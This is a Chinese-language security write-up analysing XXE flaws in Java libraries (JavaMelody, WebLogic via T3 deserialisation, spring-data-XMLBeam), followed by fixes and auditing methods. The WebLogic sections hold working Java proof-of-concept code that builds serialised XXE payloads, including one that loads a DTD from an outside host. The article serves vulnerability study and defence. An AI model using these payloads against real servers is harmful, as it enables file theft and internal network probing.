本文首發於oppo安全應急響應中心:
0x01 前言:
XML 的解析過程中若存在外部實體,若不添加安全的XML解析配置,則XML文檔將包含來自外部 URI 的數據。這一行為將導致XML External Entity (XXE) 攻擊,從而用於拒絕服務攻擊,任意文件讀取,掃內網掃描。以前對xxe的認識多停留在php中,從代碼層面而言,其形成原因及防護措施較為單一,而java中依賴於其豐富的庫,導致解析xml數據的方式有多種,其防御手段也有着種種聯系,本文主要從幾個cve的分析,了解java中xxe的常用xml解析庫、xxe的形成原因、java中xxe的防護手段以及如何挖掘java中的xxe。
0x02 XXE相關分析:
1.JavaMelody組件XXE
JavaMelody是一個用來對Java應用進行監控的組件。通過該組件,用戶可以對內存、CPU、用戶session甚至SQL請求等進行監控,並且該組件提供了一個可視化界面給用戶使用。
默認情況下只要將其添加pom依賴中,其將隨web服務一起啟動,所以不需要什么權限即可訪問此路由,若路徑泄露如下圖所示本來就會泄露一些敏感信息

1.1 漏洞點分析
在monitor的filter匹配之后將會對請求的http請求內容做處理獲取請求類型,在net/bull/javamelody/PayloadNameRequestWrapper中在處理當content-type為以下兩種情況:
1.contentType.startsWith("application/soap+xml")
2.contentType.startsWith("text/xml") || requests.getheader("SOAPAction")
部分函數調用棧如下圖所示:

在content type滿足xml數據請求規則后調用parseSoapMethodName來對http請求內容做解析,這個函數就是漏洞所在處
![]()
這里使用xmlInputFactor工廠類,該類與DocmentBuilderFactory一樣都可以設置一些feature來規范化xml處理過程,那么問題就是默認情況下dtd解析和外部實體都是可以使用的,如下兩條配置即為導致xxe的默認配置
<tr><td>javax.xml.stream.isSupportingExternalEntities</td><td>Resolve external parsed entities</td><td>Boolean</td><td>Unspecified</td><td>Yes</td></tr> <tr><td>javax.xml.stream.supportDTD</td><td>Use this property to request processors that do not support DTDs</td><td>Boolean</td><td>True</td><td>Yes</td></tr>
在xmlInputFactor類的文件中就可以找到默認的一些feature,我們可以將feature理解為為了解析xml而提供的配置選項

pom依賴:
<dependency>
<groupId>net.bull.javamelody</groupId>
<artifactId>javamelody-spring-boot-starter</artifactId>
<version>1.73.1</version>
</dependency>

1.2 代碼層面修復
那么在該組件的新版本中對應的修復如下圖所示,默認情況下在創建xml解析對象之前設置工廠的feature禁用掉dtd和外部實體,從而防御xxe

1.3 如何避免xxe
在實際的開發中,對於xml數據解析流程不需要外部實體參與的情況,設置feature將其禁用。在確定組件版本對xml的解析已經禁用掉外部實體后,也要設計filter來對該功能的訪問進行鑒權操作,防止敏感功能被越權訪問。
2.weblogic中的xxe
這節主要分析weblogic中的幾個xxe,包括CVE-2019-2647-CVE2019-2650以及CVE2019-2888,那么這幾個洞的原因都是weblogic依賴的jar包中涉及xml數據處理時默認情況下沒有做好外部實體限制措施,導致可以通過T3協議進行序列化payload發送,從而利用外部實體進行xxe
2.1 漏洞點分析
第一處是是Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmServerPayloadContext,從weblogic輸入流處理到xml數據解析入口的部分調用棧如下圖所示:

在WsrmServerPayloadContext的readEndpt方法中直接就能發現存在xml解析,其中使用DocumentBuilderFactory類作為解析工廠類,這里並沒有添加任何feature限制外部實體的加載,所以只需要關心var14是否可控

那么在WsrmServerPayloadContext的readExternal方法調用了readEndpt方法,該方法將在反序列化時自動調用,與通常的readObject相類似,而readEndpt中的var14又來自此時的var1(payload 輸入流),所以滿足可控條件

那么從反序列化到xxe的入口點就是如此,接下來只需要構造滿足條件的反序列化數據流通過t3協議發送到weblogic的7001端口即可,找到該類的序列化時調用的函數然后跟蹤其輸出流就行

在writeExternal中判斷this.fromEndpt不為null時,調用writeEndpt傳入輸出流, 可以看到this.fromEndpt實際上是EndpointReference的實例,根據方法名以及入口參數盲猜要將該類的實例寫進輸出流
那么實際上該函數的功能也主要是通過XMLSerializer的serlialize處理EndpointReference的返回值(Element類的實例)后最終存儲為字節數組,並在輸出流中寫入字節數組和其長度,那么XMLSerializer的serialize方法的實現了3種重載,分別可以傳入Element,DocumentFragment,Document,那么實際上構造xml的payload時如果使用Element型的重載,那么實際上寫入的序列化數據中包含的xml數據外部實體將被解析最終只留下節點元素,所以為了在payload中保留完整的xml的payload,需要使用Document型的重載,因此這里需要重寫WsrmServerPayloadContext的writeEndpt方法即可,我們只需刪除jar包中對應的class字節碼文件重新打包引入,然后本地新建與其包名類名一致的該類即可,從而定制如我們目標相符合的序列化數據(接下來幾個weblogic的xxe payload本地構造方法均與此一樣)

構造結構如上圖所示,我們知道DocumentBuilder的parse處理xml文件后將返回Document,因此我們只需要將處理結果再傳入serialize函數即可達成目標

重寫部分如下所示:
private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException, ParserConfigurationException, SAXException { ByteArrayOutputStream var3 = new ByteArrayOutputStream(); OutputFormat var4 = new OutputFormat("XML", (String)null, false); XMLSerializer var5 = new XMLSerializer(var3, var4); Document doc = null; Element element = null; DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder(); doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml"); var5.serialize(doc);
那么根據之前的分析只需賦值his.fromEndpt為EndpointReference的實例,然后我們自己在重寫的writeEndpt方法中調用DocumentBuilder的parse解析xml的payload拿到document即可
poc如下:
import weblogic.wsee.addressing.EndpointReference; import weblogic.wsee.reliability.WsrmServerPayloadContext; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class weblogicxxe1 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { EndpointReference fromEndpt = (EndpointReference) new EndpointReference(); WsrmServerPayloadContext wspc = new WsrmServerPayloadContext(); try { Field f1 = wspc.getClass().getDeclaredField("fromEndpt"); f1.setAccessible(true); f1.set(wspc, fromEndpt); } catch (Exception e) { e.printStackTrace(); } return wspc; } }
生成的poc如下所示,序列化的數據包含完整的xml payload,然后使用t3協議直接打即可,由請求也可以看到的確在反序列化的過程中解析了xml並加載了外部實體


第二處位於Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/message/UnknownMsgHeader類,該類的readExternal方法中直接存在沒有任何防御措施的xml解析,使用的仍為DocumentBuilderFactory,從weblogic輸入流處理到xml數據解析入口的部分調用棧如下圖所示:

在UnknownMsgHeader的readExternal方法中xml解析時的parse方法入口參數var9主要來源於輸入流Objectinput,可控,那么只需構造相應的序列化數據即可

找到其writeExternal方法,這里可以看到其寫入xml payload時也使用的為XMLSerializer.serialize,這里寫入的xmlheader也可以進行替換成xml解析后的Document類的實例,但是這里要用到this.qname屬性,並向輸出流寫入該屬性的三個值,由於這三個值均為字符串並且並未規定格式,因此我們只需任意賦值即可

修改其writeExternal方法如下:
public void writeExternal(ObjectOutput var1) throws IOException{ var1.writeUTF("tr1ple"); var1.writeUTF("tr1ple"); var1.writeUTF("tr1ple"); ByteArrayOutputStream var2 = new ByteArrayOutputStream(); OutputFormat var3 = new OutputFormat("XML", (String)null, false); XMLSerializer var4 = new XMLSerializer(var2, var3); Document doc = null; DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder dbBuilder = null; try { dbBuilder = dbFactory.newDocumentBuilder(); doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml"); } catch (ParserConfigurationException e) { e.printStackTrace(); } catch (SAXException e) { e.printStackTrace(); } var4.serialize(doc);
poc:
import org.w3c.dom.Element; import weblogic.wsee.message.UnknownMsgHeader;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class weblogicxxe2 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { UnknownMsgHeader umh = new UnknownMsgHeader(); return umh; } }
生成序列化數據后用t3協議發送即可觸發xxe
第三處位於Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmSequenceContext類,在其readEndpt方法中同樣存在與前兩個分析中相似的處理流程,使用DocumentBuilder來解析包含xml payload的輸入流,從weblogic輸入流處理到xml數據解析入口的部分調用棧如下圖所示:

在其readExternal方法中調用了readEndpt方法,這里var2為我們構造的xml數據的長度,所以肯定大於零


那么只需要按照其writeEndpt規范的邏輯寫就行,我們只需在調用serialize前控制其入口參數的值即可

更改后的writeExternal如下:
private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException { try { DocumentBuilderFactory var3 = DocumentBuilderFactory.newInstance(); var3.setNamespaceAware(true); DocumentBuilder var4 = var3.newDocumentBuilder(); Document var5 = var4.newDocument(); Element var6 = var5.createElementNS(this.rmVersion.getNamespaceUri(), weblogic.wsee.reliability.WsrmConstants.Element.ACKS_TO.getQualifiedName(this.rmVersion)); DOMUtils.addNamespaceDeclaration(var6, this.rmVersion.getPrefix(), this.rmVersion.getNamespaceUri()); var1.write(var6); ByteArrayOutputStream var7 = new ByteArrayOutputStream(); OutputFormat var8 = new OutputFormat("XML", (String)null, false); XMLSerializer var9 = new XMLSerializer(var7, var8); Document doc = null; DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder(); doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml"); var9.serialize(doc);
poc:
import weblogic.wsee.addressing.EndpointReference; import weblogic.wsee.reliability.WsrmSequenceContext; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class weblogicxxe3 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe4")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { EndpointReference end = new EndpointReference(); WsrmSequenceContext umh = new WsrmSequenceContext(); try { Field f1 = umh.getClass().getDeclaredField("acksTo"); f1.setAccessible(true); f1.set(umh, end); } catch (Exception e) { e.printStackTrace(); } return umh; } }
第四處位於Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/wstx/internal/ForeignRecoveryContext類,從weblogic輸入流處理到反序列化入口的過程部分調用棧如下圖所示:

在ForeignRecoveryContext的類文件定義中如果直接找並未發現xml的處理流程,該處的利用相較於前三處構造來說還是稍微精巧一點,需要了解一下代碼的基本處理邏輯。網上也沒找到相應的具體分析,只有xxlegend師傅的一些簡單復現分析,先給出其poc
import weblogic.wsee.wstx.internal.ForeignRecoveryContext; import weblogic.wsee.wstx.wsat.Transactional.Version; import javax.xml.ws.EndpointReference; import javax.transaction.xa.Xid; import javax.xml.transform.Result; import javax.xml.transform.stream.StreamResult; import java.io.*; import java.lang.reflect.Field; public class weblogicxxe4 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe1")); out.writeObject(instance); out.flush(); out.close(); } public static class MyEndpointReference extends EndpointReference { @Override public void writeTo(Result result){ byte[] tmpbytes = new byte[4096]; int nRead; try{ InputStream is = new FileInputStream(System.getProperty("user.dir")+"/src/main/resources/text.xml"); while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){ ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead); } }catch (Exception e){ e.printStackTrace(); } return; } } public static Object getObject() { Xid xid = new weblogic.transaction.internal.XidImpl(); Version v = Version.DEFAULT; ForeignRecoveryContext frc = new ForeignRecoveryContext(); try{ Field f = frc.getClass().getDeclaredField("fxid"); f.setAccessible(true); f.set(frc,xid); Field f1 = frc.getClass().getDeclaredField("epr"); f1.setAccessible(true); f1.set(frc, new MyEndpointReference()); Field f2 = frc.getClass().getDeclaredField("version"); f2.setAccessible(true); f2.set(frc,v); }catch(Exception e){ e.printStackTrace(); } return frc; } }
先看看其writeExternal方法,箭頭所指之處就是構造payload的關鍵之處,this.epr是抽象類EndpointReference的對象,所以這里其定義的write函數肯定要被其子類實現,那么這里實際上是將結果寫入到var2中,那么poc中只需要繼承EndpointReference並讀取我們的xml payload寫入到var2中即可,之后將通過var1寫入到序列化數據中

那么在其反序列化過程中調用readExternal將通過readFrom方法讀取我們的xml payload,接下來就是一大段初始化的過程,直到加載javax.xml.ws.spi.Provider后調用其readEndpointReference來對xml數據流進行讀取

從ForeignRecoveryContext的readExternal到漏洞觸發點部分調用棧如下圖所示:

接下來就到了xxe的觸發點,這里解析xml的類也與之前分析的三個cve不同,這里的Unmarshaller 類將 XML 數據反序列化解析為java對象,然而這里並未添加任何防護措施,因此導致可以注入外部實體,從而產生xxe

第五處存在於Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor類,在該類的load函數中存在使用DocumentBuilderFactory進行xml解析,然后該工廠類是weblogic實現的子類,其中根據本地的配置weblogic.xml.jaxp.allow.externalDTD的值來選擇是否設置以下兩條featue來限制外部實體的加載,然而默認情況下可以加載外部實體,因此這兩條feature失效
this.delegate.setAttribute("http://xml.org/sax/features/external-general-entities", allow_external_dtd); this.delegate.setAttribute("http://xml.org/sax/features/external-parameter-entities", allow_external_dtd);
從weblogic輸入流處理到反序列化入口的過程部分調用棧如下圖所示:

在其load函數中只需控制var4即可,其為輸入流可本地構造

那么只需要找到在何處調用了load方法即可,可以看到在其反序列化時調用的readExternal中將調用load方法,並且從數據流走向可以判斷parse解析的入口參數是可控的

那么只需要按照writeExternal的邏輯構造序列化數據即可,其調用toString來傳入EJBTaglibDescriptor的實例

在tostring方法中又調用該實例的toxml來將程序原來想要輸出的數據輸出到xmlwriter中並最終返回一個xml字符串輸出為序列化數據,其中xmlwriter的println方法是真正負責寫入數據的,其寫入的即為xml數據

那么我們選擇直接控制寫入xmlwriter的數據即可

重寫toxml如下:
public void toXML(XMLWriter var1) { var1.println("<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" + "<!DOCTYPE data SYSTEM \"http://192.168.3.199:8989/1.dtd\" [\n" + " <!ELEMENT data (#PCDATA)>\n" + " ]>\n" + "<data>data</data>"); } }
然后本地覆蓋原生EJBTaglibDescriptorc.class即可
poc:
import weblogic.servlet.ejb2jsp.dd.EJBTaglibDescriptor; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class weblogicxxe5 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { EJBTaglibDescriptor umh = new EJBTaglibDescriptor(); return umh; } }
2.2 代碼層面修復
那么weblogic的這幾個xxe都要多虧與T3協議的助攻,只需要在weblogic類加載路徑中可以利用的類,只需要本地構造好payload,然后將序列化的數據以T3協議格式發送至其7001端口即可,那么weblogic在更新的補丁中,也針對這些類添加了相應的feature禁掉了外部實體,從而防止進行xxe攻擊
http://xml.org/sax/features/external-general-entities http://xml.org/sax/features/external-parameter-entities http://apache.org/xml/features/nonvalidating/load-external-dtd
並且通過以下屬性禁用掉了xinclude並關掉了外部實體引用
setXIncludeAware(false) setExpandEntityReferences(false)
2.3 如何避免xxe
2.2中從代碼層面上單個點添加代碼,實際上這種方法只是單純防御了這幾個類,如果在后續的開發中加入新的jar包中存在類有未添加feature的xml解析操作,並且能夠進行xml操作的類可以進行序列化,那么仍然面臨着導致xxe的風險。T3協議是非常重要的WebLogic內部的通訊協議,若直接禁用T3協議則有可能影響到正常業務運行,那么可以在weblogic控制台的篩選器配置中設置連接篩選器規則進行白名單限制,選擇weblogic.security.net.ConnectionFilterImpl,將允許的IP地址或網段設置為allow,然后將除此之外的所有IP地址或網段設置為deny。
3.spring-data-XMLBeam XXE
3.1 漏洞點分析
該洞主要xmlbeam這個庫的問題,而spring-data-commons又使用了xmlbeam來處理客戶端傳輸的xml文件,解析其內容然后服務端響應返回,那么在解析xml中默認允許加載外部實體,從而導致xxe,屬於有回顯xxe,部分調用棧如下圖所示,其中由Streaminput的readDocument進入xml數據的解析

又是熟悉的DocumentBuilder,可以看到在創建解析工廠以及調用parse解析之間並未添加任何feature來限制外部實體

pom依賴:
<dependency>
<groupId>org.xmlbeam</groupId>
<artifactId>xmlprojector</artifactId>
<version>1.4.13</version>
</dependency>
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>2.0.5.RELEASE</version>
</dependency>

3.2 代碼層面修復

xmlbeam用的為DocumentBuilderFactory來創建dom工廠,修復的為xmlbeam的處理xml的處理文件,修復后主要為設置一些features,用於禁止外部實體的加載,另外還添加了禁止內聯 DocTypeDtd的加載,feature通過dom工廠的setFeature函數進行設置

本質處理流程沒問題,只是處理前需要做一些防護措施,對於不需要的功能直接禁用掉
3.3 如何避免xxe
對於1.4.15版本之前未升級的xmlxbeam庫,我們可自己在創建xml解析工廠類實例后為其設置feature禁用掉外部實體或者直接升級依賴版本到1.4.15以后。
0x03 JAVA中XXE 挖掘
java中解析xml的庫眾多,那么白盒中可以通過正則匹配導入相應xml解析庫的類,再加以手工檢測來判斷是否存在,比如正則匹配以下常用庫
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
afanti師傅在挖掘weblogic的xxe時即通過匹配可序列化以及利用xml相關解析的庫然后手工檢測,其項目地址為:https://github.com/Afant1/JavaSearchTools,那么根據工具要求首先要通過jd-jui將jar包中的字節碼文件恢復為java文件

以默認格式保存后即可使用javasearchtools.jar進行源碼掃描

如下圖所示該工具內置的正則能夠匹配出我們之前分析的幾個存在xxe漏洞的文件,當然該工具可能存在誤報,只是作為輔助來縮小我們搜索的范圍,那么接下來只需手工去掃描出來的類中去逐個確定即可

那么該工具判斷xxe核心就是如下圖所示的兩個布爾值

分別是兩種正則匹配規則,xml匹配大量內置xml解析庫,是否可反序列化去匹配反序列化中的關鍵字,同時滿足這兩個條件的類將被篩選

那么挖掘其他地方的xxe時也可以使用這種正則匹配的方法來輔助檢測,比如對於上面分析JavaMelody和xbeam時並不需要類具有序列化的特性,因此靈活根據實際制定匹配規則即可在其他組件的jar包中尋找可能存在xxe的點
0x04 總結
經過上面的分析,我們能夠了解java中xxe的形成原因以及哪些xml處理類默認情況下能夠導致xxe,當然還有其它類本文中可能未曾提及,但道理都是相通的,本文中分析的JavaMelody、Weblogic以及xbeam核心問題還是在涉及xml數據解析時引入外部可控的xml數據,但自身並未考慮是否可能產生xxe漏洞,未做到禁用外部實體的防御措施。https://find-sec-bugs.github.io/這個網站上也列出了常見的xml處理庫的標准防御方法,那么總的來說,基於xxe的防御主要為以下三種:
1.設置feature為XMLConstants.FEATURE_SECURE_PROCESSING為true
這種方法實際上還是會加載外部實體但是會調用SecuritySupport.checkAccess中進行判斷,判斷中將外部實體的協議和允許的白名單協議進行匹配,因為XMLConstants.FEATURE_SECURE_PROCESSING將設置Property.ACCESS_EXTERNAL_DTD和Property.ACCESS_EXTERNAL_SCHEMA兩個屬性設置為空,而解析節點之前將根據這兩個屬性來設置fAccessExternalDTD為空,接着解析節點過程中如果加載外部實體為true,所以會進入checkaccess函數里面以fAccessExternalDTD作為白名單協議數組,而其值已經被置空,所以實際上所有協議被禁用,從而以此方式來達到防御xxe,比如效果如下所示
![]()
2.設置feature的http://apache.org/xml/features/disallow-doctype-decl為true
從該feature的字面意思也能猜到設置該值為true實際上禁用了(dtd)文檔定義類型,在解析xml文件的過程中解析Doctype時將判斷fDisallowDoctype屬性是否為true,若為true則直接報錯,所以這么設置就徹底杜絕了xxe漏洞,這種方法完全杜絕了所有dtd的聲明,包括內部實體
![]()
3.如果想使用內部實體,單純禁用外部實體則設置以下兩個值即可,則不會進行doctype的解析,從而不會報錯,xml解析其他實體正常進行
FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setFeature(FEATURE, false);
參考:
https://blog.spoock.com/2018/10/23/java-xxe/
https://www.leadroyal.cn/?p=914
https://www.leadroyal.cn/?p=930
https://find-sec-bugs.github.io/bugs.htm#XXE_DOCUMENT
https://xz.aliyun.com/t/7105#toc-3
https://www.cnblogs.com/-zhong/p/11246369.html
https://paper.seebug.org/906/ weblogic 多個xxe
https://blog.csdn.net/he_and/article/details/89843004
